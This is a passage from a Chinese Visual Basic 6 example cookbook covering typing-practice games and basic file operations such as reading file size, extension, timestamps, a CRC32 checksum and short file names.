    Lbl_Time.Caption = TimeFormat(Int(Timer - Time_Start))                '计算打字练习时间    
    '计算每分钟多少字
    Lbl_rate.Caption = Int(Len(Me.Lbl_Input.Caption) * 60 / Int(Timer - Time_Start)) & "字/分钟"
    Lbl_Correct.Caption = CorrectRate(Me.Lbl_Input.Caption)                '计算正确率
End Sub




自定义过程CorrectRate用于计算输入的正确率，程序代码如下：



Private Function CorrectRate(sText As String) As String                        '计算打字的正确率
    Dim ilength As Integer                                        '定义变量存储已经输入的字数
    Dim i As Integer                                        '存储循环变量
    Dim iNum As Integer                                        '存储输入的错误的字母数
    Dim sTempInput As String                                    '定义变量存储输入的字符串
    Dim sTempArticle As String                                    '定义变量存储文章中的字符串
    ilength = Len(sText)                                        '获取字符串的长度
    If ilength = 0 Then Exit Function                                '如果还没有开始打字，则结束
    sTempInput = sText                                        '给变量赋值
    sTempArticle = Left(Txt_Article, ilength)                            '获取字符串的值
    For i = 1 To ilength                                        '循环
        If Left(sTempInput, 1) <> Left(sTempArticle, 1) Then                '如果字符内容不一样
            iNum = iNum + 1                                    '变量加1
        End If
        sTempInput = Right(sTempInput, ilength - i)                        '给字符串赋值
        sTempArticle = Right(sTempArticle, ilength - i)                    '给字符串赋值
    Next i
    CorrectRate = Format((1 - iNum / ilength), "0.00") * 100 & "%"                '计算正确率
End Function




秘笈心法

心法领悟476：获取第一个字节的字符代码。

AscB函数作用于包含在字符串中的字节数据，AscB返回第一个字节的字符代码，而非字符的字符代码。AscW函数返回Unicode字符代码，若平台不支持Unicode，则与Asc函数功能相同。



 实例477　制作打字母游戏

光盘位置：光盘\MR\15\477

中级

趣味指数：[image: ]




实例说明

想必在初学计算机时，很多人都玩过打字母的游戏。它是一个简单的小游戏，旨在锻炼计算机用户的指法，提高打字速度。每当通过键盘按键打一个字母时，在程序界面中的一个相应的字母便会消失；当有字母落在界面底端时，游戏就结束。本实例是一个简易的打字母游戏。运行程序后，选择“控制”/“开始”命令，界面中随机出现字母，如图15.16所示。

[image: ]
图15.16　打字母游戏界面



关键技术

本程序通过动态添加Label控件数组，随机显示字母，在窗体的KeyPress事件中实现打字母的过程。

设计过程

（1）新建标准EXE工程，在默认窗体Form1上添加一个Label控件，命名为Label1。设置Label1的Auto Size属性为True，BackColor属性为&H0080FFFF，Caption属性为8，ForeColor属性为&H000000FF，Index属性为0，Visible属性为False。

（2）在窗体Form1上添加一个Timer控件，命名为Timer1。Timer1的Enabled属性为False，Interval属性为500。

（3）选择“工具”/“菜单编辑器”命令，在“菜单编辑器”窗口中添加命令，详细设置如表15.3所示。


表15.3 菜单项设置说明

[image: ]


（4）主要程序代码如下。

在Timer1的Timer事件中动态添加Label1控件数组元素，并随机设置该元素的Caption属性（即为屏幕中的字母）；并通过判断处于窗体最下方的元素的位置，确定游戏任务是否失败，代码如下：



Private Sub Timer1_Timer()
    On Error Resume Next                                    '忽略错误
    Load Label1(Label1.UBound + 1)                            '动态加载Label控件数组元素
    Randomize                                        '随机初始化
    Label1(Label1.UBound).Left = Int(Rnd * Me.ScaleWidth - 2 * Label1(0).Width) + Label1(0).Width  '设置新元素左坐标
    Label1(Label1.UBound).Caption = Chr(Int(Rnd * (90 - 65 + 1)) + 65)        '随机产生字母
    regulate Label1(Label1.UBound)                            '防止字母重叠
    Label1(Label1.UBound).Visible = True                        '新元素可见
    Dim lbl As Object                                    '声明对象类型变量
    For Each lbl In Me.Controls                                '变量窗体中所有对象
        If TypeName(lbl) = "Label" Then                        '如果对象类型为Label
            If lbl.Index > 0 Then                            '对象的索引值大于0时
                lbl.Top = lbl.Top + 50                            '顶端坐标增加50
                If lbl.Top > Me.ScaleHeight - lbl.Height - 30 Then        'Label集合元素高度大于窗体内部宽度减去元素的高度与30的和
                    Timer1.Enabled = False                        '停用Timer控件
                    MsgBox "GAME OVER"                    '弹出对话框
                    UnloadLabel                            '调用卸载Label控件数组元素的过程
                    Exit Sub                                '退出过程
                End If
            End If
        End If
    Next
End Sub




创建自定义过程regulate用于调整字母位置（Label控件位置），防止出现字母位置重叠。regulate具有一个形式参数用于传递Label类型对象，代码如下：



Private Sub regulate(ByVal LabelObj As Label)
    Dim lbl As Object                                            '声明对象类型变量
    For Each lbl In Me.Controls                                        '变量窗体中对象
        DoEvents                                                '控制器交予操作系统
        If TypeName(lbl) = "Label" Then                                '如果对象类型为Label
            If lbl.Index <> LabelObj.Index Then                            '当不为同一Label控件集合元素
                If Abs(lbl.Left - LabelObj.Left) < LabelObj.Width And Abs(lbl.Top - LabelObj.Top) < LabelObj.Height Then    '限定坐标范围
                    LabelObj.Left = Int(Rnd * Me.ScaleWidth - 2 * Label1(0).Width) + Label1(0).Width                
                                                                '重新设置被传入的Label控件集合元素的左坐标
                    regulate LabelObj                                '递归
                End If
            End If
        End If
    Next
End Sub




在窗体的KeyPress事件中实现打字母的过程。在过程中寻找与敲打的字母相同的第一个Label控件数组元素，并将该元素释放，代码如下：



Private Sub Form_KeyPress(KeyAscii As Integer)
    On Error GoTo 1                                            '遇错跳到标签1所在处
    Dim lbl As Object                                            '声明对象类型变量
    For Each lbl In Me.Controls                                        '遍历窗体中所有对象
        If TypeName(lbl) = "Label" Then                                '如果对象类型为Label
            If UCase(Chr(KeyAscii)) = UCase(lbl.Caption) Then                    '当按下的字符与Label控件的Caption属性相同
                Unload lbl                                        '卸载Label控件数组元素
                result = result + 5                                    '得分累加
                Me.Caption = "打字母 （" & result & "分）"
                If Label1.Count = 1 Then                                '当只剩下一个Label控件数组元素
                    Timer1.Enabled = False                                '停用Timer控件
                    MsgBox "bravo"
                    Exit Sub                                        '退出过程
                End If
                Exit For                                            '跳出循环
            End If
        End If
    Next
1: End Sub




秘笈心法

心法领悟477：使用Chr函数实现Enter换行。

使用Chr函数在文本操作中实现换行效果，即使用chr(10)+chr(13)来实现换行，chr(10)+chr(13)是常数vbCrLf的值。



 实例478　警察抓小偷

光盘位置：光盘\MR\15\478

初级

趣味指数：[image: ]




实例说明

警察抓小偷是一个趣味并实用的打字游戏，可以在游戏中进行打字练习。程序分为初、中、高3个等级，选择等级并开始后，警察根据等级匀速移动，小偷是根据打字速度进行移动，按照窗体上方提供的文章进行输入。输入文本框下面有一个提示框，如果输入正确显示当前输入的字符，如果输入错误则显示要输入的正确字符，程序的运行效果如图15.17所示。

[image: ]
图15.17　警察抓小偷界面



如果警察追上小偷，提示小偷被抓，游戏结束；如果小偷跑出窗体范围，则提示小偷逃跑了的信息。

关键技术

本程序使用两个Image控件作为“警察”和“小偷”，玩家是“小偷”的身份，根据打字速度控制“小偷”的移动位置。通过判断这两个控件在窗体上的位置来判断游戏的结果。当“警察”的位置与“小偷”的位置相同时，游戏结束，提示小偷被抓；当“小偷”的位置超出窗体右侧边界时，游戏结束，“小偷”逃跑。

设计过程

（1）新建工程，将窗体的Caption属性设置为“警察抓小偷”，并设置窗体背景颜色。

（2）打开“菜单编辑器”为窗体添加菜单，菜单结构如表15.4所示。


表15.4 程序菜单结构

[image: ]
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（3）在窗体上添加3个Image控件，分别设置其Picture属性，其中两个用于放置警察和小偷，另一个用于当作马路背景图片。

（4）在窗体上添加两个标签控件，一个用于显示一段文章，供用户输入。另一个用于显示提示字符。

（5）在窗体上添加一个文本框，用于输入字符。

（6）在窗体上添加一个命令按钮控件，用于控制程序的开始。

（7）主要程序代码如下。

程序运行后，单击“开始”按钮，开始游戏，“开始”按钮主要用于激活各控件，程序代码如下：



Private Sub Command1_Click()
    Text1.Enabled = True                            '文本框有效
    Text1.Text = ""                                '清空文本框
    i = 1
    Timer1.Enabled = True                            '时钟控件有效，警察开始移动
    Image1.Left = 0                                '警察位置
    Image2.Left = 800                            '小偷位置
    Label2.Left = 4890                            '提示字符位置
    Text1.SetFocus                                '光标置于文本框中
End Sub




在文本框中输入窗体上方的一段文字，输入正确，小偷移动，实现代码如下：



Private Sub Text1_KeyPress(KeyAscii As Integer)
    Dim s As String, str As String
    s = Chr(KeyAscii)                            '获取输入字符
    str = Label1.Caption                            '要输入的文本内容
    Label2.Caption = Mid(str, i, 1)                    '显示提示字符
    If s = Mid(str, i, 1) Then                        '判断是否输入正确
        Image2.Left = Image2.Left + 50                '如果输入正确移动小偷位置
        Label2.Left = Label2.Left + 10
        i = i + 1                                '输入字符数累加
    Else
        KeyAscii = 0                            '如果输入不正确，取消输入
    End If
End Sub




使用Timer控件控制警察根据级别以不同的速度移动，并时刻判断警察是否追上小偷，或者小偷是否成功逃跑，程序代码如下：



Private Sub Timer1_Timer()
    Image1.Left = Image1.Left + 20                    '移动警察位置
    If Image1.Left + Image1.Width >= Image2.Left + 10 Then    '判断警察是否追上小偷
        MsgBox "你被抓住啦！！"                      '警察追上小偷
        Timer1.Enabled = False                        '时钟控件不可用
        Text1.Enabled = False
    End If
    If Image2.Left >= Me.Width Then                    '判断小偷位置是否超过窗体显示范围，即小偷是否逃跑
        MsgBox "哈！哈！小偷逃跑啦！！"               '小偷逃跑
        Timer1.Enabled = False
        Text1.Enabled = False
    End If
End Sub




秘笈心法

心法领悟478：控件的度量单位。

在窗体或者PictureBox控件中进行位置的判断时，要确定控件的度量单位是统一的，否则，将会出现位置数据的不正确，即要将ScaleMode属性值设置为相同的值。



第5篇　文件技术篇

第16章　文件基本操作

第17章　文件夹操作


第16章　文件基本操作

文件基本信息

文件基本操作

文件打开与读取、写入






 16.1　文件基本信息



 实例479　获取文件的大小

光盘位置：光盘\MR\16\479

初级

趣味指数：[image: ]




实例说明

本实例实现了获取文件大小的功能。运行本实例，单击“打开”按钮，选择要获得大小的文件，即可在下面的标签中显示该文件的字节数，如图16.1所示。

[image: ]
图16.1　获得文件的大小



关键技术

利用FileLen函数可以获得一个文件的大小（以字节为单位），语法如下：



FileLen(pathname)




参数说明

pathname：必选参数。用来指定一个文件名的字符串表达式。pathname可以包含目录或文件夹以及驱动器。

如果该文件已经打开，则利用该函数返回的是文件打开前的大小，如果想获得一个打开文件的大小可以利用LOF函数。

例如，获取字符串TESTFILE的长度，代码如下：



Dim MySize
MySize = FileLen("TESTFILE")                            '返回文件的字节长度




设计过程

（1）新建标准EXE工程。

（2）新建一个窗体，命名为Form1。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）添加两个CommandButton控件，分别命名为Cmd_Open、Cmd_Close。Cmd_Open的Caption属性为“打开”；Cmd_Close的Caption属性为“关闭退出”。

（5）添加一个Frame控件，作为其他控件的容器。

（6）添加两个Label控件，分别命名为Label1、Label2。Label2的Caption属性为“请选择文件”。

（7）在CommandButton控件的Click事件中的代码如下：



Private Sub Cmd_Open_Click()                                        '获得文件的长度
    CommonDialog1.ShowOpen                                        '打开对话框
    If CommonDialog1.FileName <> "" Then                                '当文件名不为空字符串
        '显示文件长度
        Label1.Caption = "您所打开的文件的大小为：" & FileLen(CommonDialog1.FileName) & "个字节"
    End If
End Sub




秘笈心法

心法领悟479：获取文件大小的用途。

通过获取文件的大小可以在制作安装程序时判断磁盘剩余空间是否能够满足安装的需要；在制作文件网络传输程序时可以获取传输的进度。



 实例480　获得文件的扩展名

光盘位置：光盘\MR\16\480

初级

趣味指数：[image: ]




实例说明

本实例实现了获取文件扩展名的功能。运行本实例，单击“打开文件”按钮，选择要获得扩展名的文件，然后单击“获得扩展名”按钮，提取文件的扩展名，如图16.2所示。

[image: ]
图16.2　获得文件的扩展名



关键技术

获取文件扩展名的思路：获取在文件路径中最后一个点号（.）的位置，根据这个位置来指定从文件路径字符串的右侧截取的长度。

获取在文件路径中最后一个点号（.）的位置，通过使用InStrRev函数实现。


说明：
 InStrRev函数的详细讲解请参见实例141中的关键技术。

例如，获取字符串ABCDABCDABCD中最后出现字母A的位置，代码如下：



Private Sub Form_Load()
    Dim pos As Integer                                            '声明整型变量
    pos = InStrRev("ABCDABCDABCD", "A")                            '获取字符串中最后一个A的位置
    MsgBox "最后出现的位置为：" & pos                                '弹出对话框并显示位置
End Sub




设计过程

（1）新建标准EXE工程。

（2）新建一个窗体，命名为Form1。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）添加两个CommandButton控件，分别命名为Cmd_Open、Cmd_Get。Cmd_Open的Caption属性为“打开文件”；Cmd_Get的Caption属性为“获得扩展名”。

（5）添加两个Label控件，分别命名为Label1、Label2。Label1的Caption属性为“选择要获得扩展名的文件”。

（6）创建自定义函数GetExtension用于获取文件的扩展名。该函数具有一个形式参数，用于传递文件名，代码如下：



Private Function GetExtension(ByVal Filename As String) As String
    Dim pos As Integer                                            '声明整型变量
    pos = InStrRev(Filename, ".")                                        '获取点号最后出现的位置
    GetExtension = Right(Filename, Len(Filename) - pos)                        '返回扩展名
End Function




在CommandButton控件Cmd_Get的Click事件中调用自定义函数GetExtension，获取文件的扩展名，代码如下：



Private Sub Cmd_Get_Click()
    Label2.Caption = "文件的扩展名为：" + GetExtension(Text1.Text)                '显示扩展名
End Sub




将“打开”对话框中选择的文件路径显示在文本框中，代码如下：



Private Sub Cmd_Open_Click()
    CommonDialog1.ShowOpen                                        '显示“打开”对话框
    '在文本框中显示选择的文件路径以及名称
    Text1.Text = CommonDialog1.Filename
End Sub




秘笈心法

心法领悟480：扩展名的长度。

在Windows操作系统中虽然允许文件扩展名长度超过3个字符，但是通常不会超过3个。



 实例481　获取文件最后修改时间

光盘位置：光盘\MR\16\481

初级

趣味指数：[image: ]




实例说明

本实例实现了获取文件最后修改时间的功能。运行本实例，单击“获取最后修改时间”按钮，弹出“打开”对话框，在该对话框中选择一个文件，单击“确定”按钮即可弹出对话框显示选中文件的最后修改时间，实例的运行效果如图16.3所示。

[image: ]
图16.3　获取文件最后修改时间



关键技术

获取文件最后修改时间通过使用FileDateTime函数实现。


说明：
 FileDateTime函数的详细讲解请参见实例160中的关键技术。

例如，将工程文件下的MyFile.txt文件的最后修改时间显示在窗体上，程序代码如下：



Dim MyDate As String                                                '声明字符串类型变量
MyDate = FileDateTime(App.Path & "\MyFile.txt")                                '获取最后修改时间
Print "该文件的最后修改时间为："; MyDate                                    '最后修改时间




设计过程

（1）新建标准EXE工程。

（2）新建一个窗口，命名为Form1。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加Frame控件，并命名为Frame1。

（5）添加一个CommandButton控件，命名为Cmd_Get。Cmd_Get的Caption属性为“获取最后修改时间”。

（6）在Cmd_Get控件的Click事件中的代码实现了获取选定文件的最后修改时间，具体代码如下：



Private Sub Cmd_Get_Click()
    Dim Str As String                                                '声明字符串类型变量
    Dim MyDate As String                                                '声明字符串类型变量
    With CommonDialog1                                                '复用语句
        .FileName = ""                                                '清空文件名
        .ShowOpen                                                '显示打开对话框
        Str = .FileName                                                '将选中的文件名保存至变量Str
        If Str <> "" Then                                                '当文件名不为空字符串
            MyDate = FileDateTime(Str)                                    '获取文件最后修改时间
            MsgBox "文件最后修改时间：" & MyDate                            '弹出对话框显示最后修改时间
        End If
    End With
End Sub




秘笈心法

心法领悟481：获取文件夹创建时间。

当使用FileDateTime函数对文件夹的时间进行获取时，所得到的时间为文件夹的创建时间，文件夹并无修改时间。



 实例482　使用API函数获取文件创建时间

光盘位置：光盘\MR\16\482

初级

趣味指数：[image: ]




实例说明

[image: ]
图16.4　使用API 函数获取文件创建时间



本实例使用API函数来获取文件的创建时间。运行程序，单击<<按钮，在“打开”对话框中选择需要获取创建时间的文件。选择文件后，单击“获取”按钮即可显示该文件的创建时间。例如，选择C盘根目录下的1.txt，显示的创建时间如图16.4所示。

关键技术

实现本实例程序的功能需要经过以下步骤。

（1）获取文件信息

获取文件信息通过使用API函数GetFileInformationByHandle实现，语法如下：



Public Declare Function GetFileInformationByHandle Lib "kernel32" (ByVal hFile As Long, lpFileInformation As BY_HANDLE_FILE_INFORMATION) As Long




参数说明

❶hFile：类型Long，文件的句柄。

❷lpFileInformation：类型BY_HANDLE_FILE_INFORMATION，用于容纳文件信息的结构。

例如，根据文件句柄FileHandle，将文件信息装载于BY_HANDLE_FILE_INFORMATION结构变量FileInfo中，代码如下：



Call GetFileInformationByHandle(FileHandle, FileInfo)




（2）获取系统时区信息

获取系统时区信息通过使用API函数GetTimeZoneInformation实现，语法如下：



Public Declare Function GetTimeZoneInformation Lib "kernel32" (lpTimeZoneInformation As TIME_ZONE_INFORMATION) As Long




参数说明

lpTimeZoneInformation：类型TIME_ZONE_INFORMATION，用于载入时区信息的结构。

例如，将时区信息装载于TIME_ZONE_INFORMATION结构变量tZone中，代码如下：



Call GetTimeZoneInformation(tZone)




（3）日期格式的转换

通过采用API函数GetFileInformationByHandle、GetTimeZoneInformation后获取的时间为64位的时间格式，需要将该时间转换为系统时间格式。格式转换通过使用API函数FileTimeToSystemTime实现，语法如下：



Public Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long




参数说明

❶lpFileTime：类型FILETIME，包含了文件时间的一个结构。

❷lpSystemTime：类型SYSTEMTIME，包含用于装载系统时间信息的结构。

例如，根据FILETIME结构的内容，装载系统时间信息至SYSTEMTIME结构变量fTime中，代码如下：



Call FileTimeToSystemTime(FileInfo.ftCreationTime, fTime)




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加3个CommandButton控件，命名为Command1、Command2、Command3。Command1的Caption属性为“获取”，Command2的Caption属性为“退出”，Command3的Caption属性为“<<”。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加一个Frame控件，命名为Frame1。

（5）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Caption属性为“请选择文件”。

（6）在窗体中添加一个TextBox控件，命名为Text1。

（7）在CommandButton控件Command1的Click事件中通过使用API函数GetFileInformationByHandle、GetTimeZoneInformation、FileTimeToSystemTime来获取文件创建时间。事件中的代码如下：



Private Sub Command1_Click()
    Dim dtCreate As Date                                    '声明时间变量
    Dim lpReOpenBuff As OFSTRUCT                            '声明OFSTRUCT结构变量
    Dim FileHandle As Long
    Dim FileInfo As BY_HANDLE_FILE_INFORMATION
    Dim tZone As TIME_ZONE_INFORMATION
    Dim fTime As SYSTEMTIME
    Dim Bias As Long
    FileHandle = OpenFile(Text1.Text, lpReOpenBuff, OF_READ)
    Call GetFileInformationByHandle(FileHandle, FileInfo)                '利用 FileHandle 读取文件资讯
    Call CloseHandle(FileHandle)
    Call GetTimeZoneInformation(tZone)                        '读取Time Zone，因为上一步骤的文件时间是格林威治时间
    Bias = tZone.Bias   '时间差，以“分”为单位
    Call FileTimeToSystemTime(FileInfo.ftCreationTime, fTime)            '转换时间
    dtCreate = DateSerial(fTime.wYear, fTime.wMonth, fTime.wDay) + TimeSerial(fTime.wHour, fTime.wMinute - Bias, fTime.wSecond)
    Label1.Caption = "该文件的创建时间是：" & dtCreate
End Sub




秘笈心法

心法领悟482：字符串运算符小知识。

字符串运算符，即字符串连接符，作用是合并两个字符串，使用“+”或者“&”这两个符号。这里的“+”并不是算数运算符中将两个数的值相加，而是将两个字符串相连接。在使用“+”连接字符串变量与字符串时，可以直接使用，而“&”需要在两边各加一个空格，否则程序会误认为这是变量的一部分，从而导致错误。



 实例483　使用API函数获取文件最后修改时间

光盘位置：光盘\MR\16\483

初级

趣味指数：[image: ]




实例说明

本实例使用API函数来获取文件的最后修改时间。运行程序，单击<<按钮，在“打开”对话框中选择需要获取最后修改时间的文件。选择文件后，单击“获取”按钮即可显示该文件的最后修改时间。例如，选择C盘根目录下的1.txt，显示的最后修改时间如图16.5所示。

[image: ]
图16.5　使用API 函数获取文件最后修改时间



关键技术

本实例采用的关键技术与前一实例相同，唯一的区别就在于所使用的HANDLE_FILE_INFORMATION结构成员与前一实例不同。在前一实例中采用的是ftCreationTime成员，而这里采用的是ftLastWriteTime成员。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加3个CommandButton控件，命名为Command1、Command2、Command3。Command1的Caption属性为“获取”；Command2的Caption属性为“退出”；Command3的Caption属性为“<<”。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加一个Frame控件，命名为Frame1。

（5）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Caption属性为“请选择文件”。

（6）在窗体中添加一个TextBox控件，命名为Text1。

（7）在CommandButton控件Command1的Click事件中通过使用API函数GetFileInformationByHandle、GetTimeZoneInformation、FileTimeToSystemTime来获取文件创建时间。事件中的代码如下：



Private Sub Command1_Click()
    Dim dtModified As Date                                '最后修改时间
    Dim lpReOpenBuff As OFSTRUCT
    Dim FileHandle As Long
    Dim FileInfo As BY_HANDLE_FILE_INFORMATION
    Dim tZone As TIME_ZONE_INFORMATION
    Dim fTime As SYSTEMTIME
    Dim Bias As Long
    FileHandle = OpenFile(Text1.Text, lpReOpenBuff, OF_READ)
    Call GetFileInformationByHandle(FileHandle, FileInfo)                '利用FileHandle读取文件资讯
    Call CloseHandle(FileHandle)
    Call GetTimeZoneInformation(tZone)                        '读取Time Zone，因为上一步骤的文件时间是格林威治时间
    Bias = tZone.Bias   '时间差，以“分”为单位
    Call FileTimeToSystemTime(FileInfo.ftLastWriteTime, fTime)            '转换时间
    dtModified = DateSerial(fTime.wYear, fTime.wMonth, fTime.wDay) + TimeSerial(fTime.wHour, fTime.wMinute - Bias, fTime.wSecond)
    Label1.Caption = "该文件的最后修改时间为：" & dtModified
End Sub




秘笈心法

心法领悟483：TIME_ZONE_INFORMATION结构小知识。

在TIME_ZONE_INFORMATION结构中为本地实际添加bias信息，从而获得系统时间。TIME_ZONE_ INFORMATION结构内部的DaylightName和StandardName字符肯定采用Unicode格式。



 实例484　获取文件特征码

光盘位置：光盘\MR\16\484

高级

趣味指数：[image: ]




实例说明

本实例用于获取文件的特征码。如今大部分的杀毒软件具有根据特征码查杀病毒的功能。在这里通过对本实例的介绍，来讲述获取特征码的方法。在进行讲述之前，先看一下程序运行的效果。运行本实例程序，单击“获取特征码”按钮，在弹出的“打开”对话框中选择某文件后显示的特征码，如图16.6所示。

[image: ]
图16.6　获取文件特征码



关键技术

本实例采用CRC32的校验方式来获取文件的特征码，特征码获取的设计思路如下：

首先打开文件，获取若干个指定位置的字节，将这些字节值进行连接生成一个字符串。然后将生成的字符串进行CRC32校验，获取特征码。

实现的具体过程如下。

（1）获取文件指定位置的字节通过使用Get语句实现

Get语句语法如下：



Get [#]filenumber, [recnumber], varname




参数说明

❶filenumber：必选参数。表示任何有效的文件号。

❷recnumber：可选参数。Variant (Long)。记录号（Random 方式的文件）或字节数（Binary 方式的文件），以表示在此处开始读出数据。

❸varname：必选参数。一个有效的变量名，将读出的数据放入其中。

通常用Put将Get读出的数据写入一个文件。文件中第一个记录或字节位于位置 1，第二个记录或字节位于位置2，依此类推。若省略recnumber，则会读出紧随上一个Get或Put语句之后的下一个记录或字节（或读出最后一个Seek函数指出的记录或字节）。所有用于分界的逗号都必须罗列出来，例如，Get #4,,FileBuffer。

例如，下面代码读取文件第一个字节的内容至变量Var中。



Open sFile For Binary Access Read As #1
    Get #1, 1, Var
Close #1




（2）进行CRC32校验

CRC是用于校验数据的正确性的数值。CRC数值是通过将某数据除以一个常数而得到的余数。当这个常数为32位时，将CRC校验称为CRC32。

例如，CRC32算法中，生成多项式如下所示。

c(x) = 1 + x + x^2 + x^4 + x^5 + x^7 + x^8 + x^10 + x^11 + x^12 + x^16 + x^22 + x^23 + x^26 + x^32。

其对应的数值为11101101101110001000001100100000，这个数值就是CRC32校验的常数。将数据与11101101101110001000001100100000相除，求得余数，求得的余数即为CRC32校验值。

详细算法请参见光盘中本实例工程的类模块clsGetCRC32。

设计过程

（1）新建标准EXE工程，在工程中添加一个窗体以及一个标准模块和一个类模块。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件并命名为cdlOpen。

（3）在窗体上添加两个CommandButton控件，分别将其命名为Cmd_Open和Command1。Cmd_Open的Caption属性为“获取特征码”，Command1的Caption属性为“关闭”。

（4）在窗体上添加两个Label控件，分别命名为Label1、Label2。Label的AutoSize属性为True，Caption属性为“选择文件：”；Label2的AutoSize属性为True，Caption属性为“特征码：”。

（5）在窗体上添加两个TextBox控件，分别命名为Txt_CRC32、Txt_Path。Txt_CRC32的Appearance属性为0-Flat；Txt_Path的Appearance属性为0-Flat，Locked属性为True。

（6）创建自定义函数GetChecksum用于获取文件特征码，它具有一个形式参数用于传递文件的名称。该过程的主要代码如下：



Public Function GetChecksum(sFile As String) As String
    On Error GoTo ErrHandle                                            '错误处理
    Dim cb0 As Byte                                                '声明字节类型变量
    Dim cb1 As Byte                                                '声明字节类型变量
    '略
    Dim cb23 As Byte                                                '声明字节类型变量
    Dim buff As String                                                '声明字符串类型变量
    Open sFile For Binary Access Read As #1                                    '打开文件
    buff = Space$(1)                                                '生成一个空格字符
    Get #1, , buff                                                    '获取数据
    Close #1                                                        '关闭文件
    Open sFile For Binary Access Read As #2                                    '打开文件
    Get #2, 512, cb0                                                '获取数据
    Get #2, 1024, cb1                                                '获取数据
    '略
    Get #2, 22000, cb22                                                '获取数据
    Get #2, 23000, cb23                                                '获取数据
    Close #2                                                        '关闭文件
    buff = cb0                                                    '赋值
    buff = buff & cb1                                                '字符串连接
    '略
    buff = buff & cb22                                                '字符串连接
    buff = buff & cb23                                                '字符串连接
    'CRC32是类clsGetCRC32的对象
    GetChecksum = CRC32.StringChecksum(buff)                                '函数返回值
    Set CRC32 = Nothing                                                '释放对象
    Exit Function                                                    '跳出过程
ErrHandle:
    Close #2                                                        '关闭文件
End Function




类clsGetCRC32中的StringChecksum方法的代码请参考本实例源程序。

秘笈心法

心法领悟484：文件特征码的应用。

通过对文件特征码的使用可以对文件的完整性进行判断，并且通过对特征码的使用可以制作简单的杀毒软件。



 实例485　从文件路径中获取文件名

光盘位置：光盘\MR\16\485

初级

趣味指数：[image: ]




实例说明

本实例用于实现从文件路径中获取文件名的功能。运行程序，单击“选择文件”按钮，选择要打开的文件，即可将该文件的文件名显示在下面的标签中，如图16.7所示。

[image: ]
图16.7　从文件路径中获取文件名



关键技术

在本实例中通过使用Dir函数从路径字符串中获取文件的名称。Dir函数的语法如下：



Dir[(pathname[, attributes])]




参数说明

❶pathname：可选参数。用来指定文件名的字符串表达式，可能包含目录或文件夹以及驱动器。如果没有找到pathname，则会返回零长度字符串("")。

❷attributes：可选参数。常数或数值表达式，其总和用来指定文件属性。如果省略，则会返回匹配pathname但不包含属性的文件。

使用Dir函数可以判定指定路径的文件是否存在，如下面代码：



Dim str As String
str = Dir(App.Path & "\1.txt")                                            '获取文件名
If str = "" Then                                                    '如果没获取到文件名
    MsgBox "文件不存在",  ,"明日图书"                                    '弹出对话框，提示文件不存在
Else                                                            '否则
    MsgBox "文件存在",  ,"明日图书"                                        '弹出对话框，提示文件存在
End If




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption 属性为“选择文件”；Command2的Caption属性为“退出程序”。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加一个Frame控件，命名为Frame1。

（5）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Caption属性为“您选择的文件为：”；Label2的AutoSize属性为True，Caption的属性为“请选择文件：”。

（6）在CommandButton控件Command1的Click事件中的代码用于从文件路径中获取文件名，代码如下：



Private Sub Command1_Click()
    CommonDialog1.ShowOpen                                        '弹出“打开”对话框
    If CommonDialog1.FileName <> "" Then                                '当选中某文件
        '从“打开”对话框中获取数据，将其赋值到标签控件当中
        Label1.Caption = "您选择的文件为：   " & Dir(CommonDialog1.FileName)
    End If
End Sub




秘笈心法

心法领悟485：获取目录中的所有文件名。

使用Dir函数根据指定目录的路径，可以获取到该目录中的第一个文件名。如果需要获取下一文件名，只要再次使用Dir函数，无须指定任何参数。



 实例486　获取短文件名

光盘位置：光盘\MR\16\486

中级

趣味指数：[image: ]




实例说明

在Windows操作系统普及之前，计算机大多使用的是DOS操作系统。在Windows操作系统普及以后，再重新回到DOS操作系统中会发现在磁盘中保存的文件名发生了变化。为什么会发生变化呢，是磁盘中的文件遭到了破坏吗？答案是否定的。出现这种现象是由于DOS操作系统本身的问题造成的，在该操作系统中，文件名最多占用8个字节（不包括扩展名），因此在该操作系统中自动将长文件名转换为了短文件名。本实例通过对API函数的使用，实现了将长文件名转换为短文件名的功能。运行本实例程序，在“文件名”文本框中输入文件路径以及文件名称，单击“获取短文件名”按钮，程序的显示效果如图16.8所示。

[image: ]
图16.8　获取短文件名



关键技术

本实例通过使用API函数GetShortPathName实现，语法如下：



Public Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long




参数说明

❶lpszLongPath：String，指定欲获取短路径名的那个文件的名字。可以是个完整路径，或者由当前目录决定。

❷lpszShortPath：String，指定一个缓冲区，用于装载文件的短路径和文件名。

❸cchBuffer：Long，lpszShortPath缓冲区长度。

设计过程

（1）新建标准EXE工程，在工程中添加一个窗体以及一个标准模块。

（2）在窗体中添加两个CommandButton控件，分别命名为Cmd_Close、Cmd_Trans。Cmd_Close的Caption 属性为“关闭”；Cmd_Trans的Caption属性为“获取短文件名”。

（3）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True， BackStyle属性为0-Transparent，Caption属性为“文件名：”；Label2的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“短文件名：”。

（4）在窗体中添加两个TextBox控件，分别命名为Txt_FileName、Txt_ShortName。

